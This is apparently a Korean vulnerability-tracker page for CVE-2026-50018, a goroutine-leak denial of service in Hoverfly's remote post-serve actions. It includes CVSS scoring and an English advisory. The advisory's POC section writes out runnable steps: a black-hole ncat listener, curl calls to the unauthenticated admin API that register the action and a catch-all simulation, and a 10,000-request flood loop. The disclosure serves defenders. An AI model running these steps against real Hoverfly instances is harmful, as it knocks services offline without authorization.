Kestrel
대시보드로 돌아가기
CVE-2026-50018MEDIUM· 6.5GHSA대응게시일: 2026. 07. 14.수정일: 2026. 07. 14.

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.5medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.16.5MODERATE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

상세 설명

Summary:

Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.

Details:

1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):

text
1go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)

Post-serve actions are executed in separate goroutines with no recovery wrapper.

2. HTTP client has no timeout (core/action/action.go:128-143):

text
1req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
2// ...
3resp, err := http.DefaultClient.Do(req) // No timeout! Blocks forever.

http.DefaultClient has zero timeout by default in Go. If the remote server:

  • Accepts the TCP connection but never sends a response
  • Establishes TLS but never completes the handshake
  • Uses TCP window size 0 (flow control stall)

...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.

3. No goroutine limit or backpressure:

There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.

4. The goroutine is never cleaned up:

The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.

Environment:

  • Hoverfly version: v1.12.7
  • Operating System: macOS Darwin 25.4.0
  • Go version: 1.26.2
  • Configuration: Default (no flags required)

POC:

Step 1: Start a black-hole TCP listener (accepts connections, never responds)

bash
1# Option A: Use ncat
2ncat -l -k 9999 &
3
4# Option B: Use a non-routable IP (connections hang at TCP SYN)
5# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
6# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)

Step 2: Register remote post-serve action pointing to the black hole

bash
1curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
2 -H "Content-Type: application/json" \
3 -d '{
4 "actionName": "leak",
5 "remote": "http://192.0.2.1:9999/blackhole",
6 "delayInMs": 0
7 }'

Step 3: Load a catch-all simulation

bash
1curl -X PUT http://localhost:8888/api/v2/simulation \
2 -H "Content-Type: application/json" \
3 -d '{
4 "data": {
5 "pairs": [{
6 "request": {"path": [{"matcher": "glob", "value": "*"}]},
7 "response": {"status": 200, "body": "ok", "postServeAction": "leak"}
8 }],
9 "globalActions": {"delays": [], "delaysLogNormal": []}
10 },
11 "meta": {"schemaVersion": "v5.2"}
12 }'

Step 4: Flood with requests

bash
1# Each request spawns an immortal goroutine
2for i in $(seq 1 10000); do
3 curl -s -x http://localhost:8500 "http://target.com/req${i}" &
4 # Throttle to avoid local FD exhaustion
5 [ $((i % 100)) -eq 0 ] && wait
6done

Verified memory impact on Hoverfly v1.12.7:

text
1Memory before: 20,064 KB
2Memory after 50 requests: 23,376 KB
3Memory increase: 3,312 KB (66 KB per goroutine)

At this rate:

  • 1,000 requests = ~64 MB leaked
  • 10,000 requests = ~640 MB leaked
  • 100,000 requests = ~6.4 GB leaked → OOM crash

Impact:

An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:

  1. Registering a remote post-serve action pointing to a non-responsive endpoint.
  2. Loading a catch-all simulation that triggers the action on every request.
  3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.